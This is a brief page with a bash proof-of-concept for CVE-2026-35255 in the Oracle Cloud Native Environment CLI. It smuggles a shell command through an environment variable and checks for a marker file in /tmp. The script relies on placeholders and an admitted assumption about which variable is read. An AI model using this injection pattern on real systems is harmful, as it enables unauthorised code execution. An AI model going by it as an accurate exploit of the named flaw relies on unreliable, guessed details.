CVE-2026-35255 Oracle OCNE CLI环境变量漏洞

#!/bin/bash # PoC for CVE-2026-35255: Malicious Environment Variable Code Execution # This script demonstrates how a malicious environment variable can trigger RCE. # 1. Define the malicious payload (e.g., creating a file or executing a shell) # Assuming the vulnerable CLI reads a specific configuration variable. export MALICIOUS_VAR="; /bin/touch /tmp/pwned; #" # 2. Run the vulnerable Oracle Cloud Native Environment CLI # Replace '/path/to/olcnectl' with the actual binary path # The CLI parses the environment variable and executes the command. /path/to/olcnectl status # 3. Verify exploitation if [ -f /tmp/pwned ]; then echo "[+] Exploit successful: Arbitrary code executed." else echo "[-] Exploit failed." fi